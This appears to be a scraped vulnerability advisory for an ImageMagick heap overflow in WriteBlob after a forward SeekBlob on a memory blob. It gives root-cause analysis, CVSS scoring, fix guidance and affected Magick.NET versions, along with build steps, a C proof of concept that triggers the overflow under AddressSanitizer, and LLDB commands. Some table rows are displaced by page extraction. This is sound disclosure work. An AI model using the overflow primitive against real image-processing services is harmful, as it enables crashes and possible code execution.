The vulnerability is a heap-based buffer overflow in ImageMagick's MagickCore/blob.c. The root cause of the vulnerability lies in the WriteBlob function when used in conjunction with SeekBlob on a memory-backed BlobStream.
The exploit scenario unfolds in two steps:
SeekBlob function to move the internal offset of a blob to a position far beyond its currently allocated size. The SeekBlob function itself is not flawed; it correctly updates the offset as requested.WriteBlob to write data to the blob. The vulnerable version of WriteBlob fails to correctly calculate the amount of memory required to accommodate the write at the new, large offset. Instead of calculating the required size based on offset + length, it calculates it based on extent + length + quantum. When the offset is significantly larger than the extent, this results in an undersized memory allocation.The subsequent memmove operation within WriteBlob attempts to write the data at the specified offset, which now points to a location outside the bounds of the newly allocated (but too small) buffer. This out-of-bounds write corrupts the heap, which can lead to a crash (denial of service) or, potentially, arbitrary code execution.
The provided patch addresses this by changing the allocation logic in both WriteBlob and the inline function WriteBlobStream. The corrected code first calculates the required size (extent) based on the offset and length of the data to be written, ensuring that the buffer is always allocated to a sufficient size to prevent the overflow.
| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| Magick.NET-Q16-x64 | nuget | < 14.8.2 | 14.8.2 |
| Magick.NET-Q8-x64 | nuget | < 14.8.2 | 14.8.2 |
| Magick.NET-Q16-HDRI-x64 | nuget |
Not required: External delegates; special policies; integer wraparound
Types (LP64):
offset: MagickOffsetType (signed 64-bit)
extent/length/quantum: size_t (unsigned 64-bit)
data: unsigned char*
Contract mismatch:
SeekBlob() (BlobStream) updates offset to arbitrary positions, including past end, without capacity adjustment.
WriteBlob() tests offset + length >= extent and grows by length + quantum, doubles quantum, reallocates to extent + 1, then:
q = data + (size_t)offset;
memmove(q, src, length);
There is no guarantee that extent ≥ offset + length post-growth. With offset ≫ extent, q is beyond the allocation.
Wrap-free demonstration:
Initialize extent=1, write one byte (offset=1), seek to 0x10000000 (256 MiB), then write 3–4 bytes. Growth remains << offset + length; the copy overruns the heap buffer.
Primitive: Controlled bytes written at a controlled displacement from the buffer base.
Reachability: Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract permits it, thus creating a latent sink for first- or third-party encoders/writers.
Determinism: Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.
Integrity: High - adjacent object/metadata overwrite plausible.
Availability: High - reliably crashable (ASan and non-ASan).
Confidentiality: High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process.
RCE plausibility: Typical of heap OOB writes in long-lived image services; allocator/layout dependent.
AV:N / PR:N / UI:N - server-side image processing is commonly network-reachable without auth or user action.
AC:L - a single forward seek + write suffices; no races or specialized state.
S:U - corruption localized to the ImageMagick process.
C:H / I:H / A:H - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).
Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics.
Before copying
lengthbytes atoffset, enforceextent ≥ offset + lengthwith overflow-checked arithmetic.
The BlobStream growth policy preserves amortized efficiency but fails to enforce this per-write safety invariant.
In WriteBlob() (BlobStream case):
Checked requirement:
need = (size_t)offset + length; → if need < (size_t)offset, overflow → fail.
Ensure capacity ≥ need:
target = MagickMax(extent + quantum + length, need);
(Optionally loop, doubling quantum, until extent ≥ need to preserve amortization.)
Reallocate to target + 1 before copying; then perform the move.
Companion hardening (recommended):
Document or restrict SeekBlob() on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant.
Centralize blob arithmetic in checked helpers.
Unit tests: forward-seek-then-write (success and overflow-reject).
Behavior change: Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail).
Memory profile: Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.
Reproduce with a minimal in-memory BlobStream harness under ASan.
Apply fix; verify extent ≥ offset + length at all write sites.
Add forward-seek test cases (positive/negative).
Audit other growth sites (SetBlobExtent, stream helpers).
Clarify BlobStream seek semantics in documentation.
Unit test: forward seek to large offset on BlobStream followed by 1–8 byte writes; assert either growth to need or clean failure.
OS/Arch: macOS 14 (arm64)
Compiler: clang-17 with AddressSanitizer
ImageMagick: Q16-HDRI
Prefix: ~/opt/im-7.1.2-0
pkg-config: from PATH (no hard-coded /usr/local/...)
./configure --prefix="$HOME/opt/im-7.1.2-0" --enable-hdri --with-quantum-depth=16 \
--disable-shared --enable-static --without-modules \
--without-magick-plus-plus --disable-openmp --without-perl \
--without-x --without-lqr --without-gslib
make -j"$(sysctl -n hw.ncpu)"
make install
"$HOME/opt/im-7.1.2-0/bin/magick" -version > magick_version.txt
poc.c:
Uses private headers (blob-private.h) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage.
// poc.c
#include <stdio.h>
#include <stdlib.h>
#include <MagickCore/MagickCore.h>
#include <MagickCore/blob.h>
#include "MagickCore/blob-private.h"
int main(int argc, char **argv) {
MagickCoreGenesis(argv[0], MagickTrue);
ExceptionInfo *e = AcquireExceptionInfo();
ImageInfo *ii = AcquireImageInfo();
Image *im = AcquireImage(ii, e);
if (!im) return 1;
// 1-byte memory blob → BlobStream
unsigned char *buf = (unsigned char*) malloc(1);
buf[0] = 0x41;
AttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0
SetBlobExempt(im, MagickTrue); // don't free our malloc'd buf
// Step 1: write 1 byte (creates BlobInfo + sets offset=1)
unsigned char A = 0x42;
(void) WriteBlob(im, 1, &A);
fprintf(stderr, "[+] after 1 byte: off=%lld len=%zu\n",
(long long) TellBlob(im), (size_t) GetBlobSize(im));
// Step 2: seek way past end without growing capacity
const MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB
(void) SeekBlob(im, big, SEEK_SET);
fprintf(stderr, "[+] after seek: off=%lld len=%zu\n",
(long long) TellBlob(im), (size_t) GetBlobSize(im));
// Step 3: small write → reallocation grows by quantum+length, not to offset+length
// memcpy then writes to data + offset (OOB)
const unsigned char payload[] = "PWN";
(void) WriteBlob(im, sizeof(payload), payload);
// If we get here, it didn't crash
fprintf(stderr, "[-] no crash; check ASan flags.\n");
(void) CloseBlob(im);
DestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e);
MagickCoreTerminus();
return 0;
}
run:
# Use the private prefix for pkg-config
export PKG_CONFIG_PATH="$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH"
# Strict ASan for crisp failure
export ASAN_OPTIONS='halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0'
# Compile (static link pulls transitive deps via --static)
clang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \
$(pkg-config --cflags MagickCore-7.Q16HDRI) \
$(pkg-config --static --libs MagickCore-7.Q16HDRI)
# Execute and capture
./poc 2>&1 | tee asan.log
Expected markers prior to the fault:
[+] after 1 byte: off=1 len=1
[+] after seek: off=268435456 len=1
An ASan WRITE crash in WriteBlob follows (top frames: WriteBlob blob.c:<line>, then _platform_memmove / __sanitizer_internal_memmove).
LLDB can be used to snapshot the invariants; ASan alone is sufficient.
lldb ./poc
(lldb) settings set use-color false
(lldb) break set -n WriteBlob
(lldb) run
# First stop (prime write)
(lldb) frame var length
(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped
(lldb) continue
# Second stop (post-seek write)
(lldb) frame var length
(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped
(lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length
(lldb) expr -- (void*)((unsigned char*)image->blob->data + (size_t)image->blob->offset)
# Into the fault; if inside memmove (no locals):
(lldb) bt
(lldb) frame select 1
(lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum
Expected at second stop:
type = BlobStream · offset ≈ 0x10000000 (256 MiB) · length ≈ 3–4 · extent ≈ 64 KiB (≪ offset + length) · quantum ≈ 128 KiB · mapped = MagickFalse · data + offset far beyond base; next continue crashes in _platform_memmove.
Reported by: Lumina Mescuwa
| < 14.8.2 |
| 14.8.2 |
| Magick.NET-Q8-OpenMP-x64 | nuget | < 14.8.2 | 14.8.2 |
| Magick.NET-Q16-HDRI-OpenMP-x64 | nuget | < 14.8.2 | 14.8.2 |
| Magick.NET-Q16-OpenMP-x64 | nuget | < 14.8.2 | 14.8.2 |
| Magick.NET-Q8-arm64 | nuget | < 14.8.2 | 14.8.2 |
| Magick.NET-Q16-arm64 | nuget | < 14.8.2 | 14.8.2 |
| Magick.NET-Q16-OpenMP-arm64 | nuget | < 14.8.2 | 14.8.2 |
| Magick.NET-Q8-OpenMP-arm64 | nuget | < 14.8.2 | 14.8.2 |
| Magick.NET-Q16-HDRI-OpenMP-arm64 | nuget | < 14.8.2 | 14.8.2 |
| Magick.NET-Q16-HDRI-arm64 | nuget | < 14.8.2 | 14.8.2 |
Ongoing coverage of React2Shell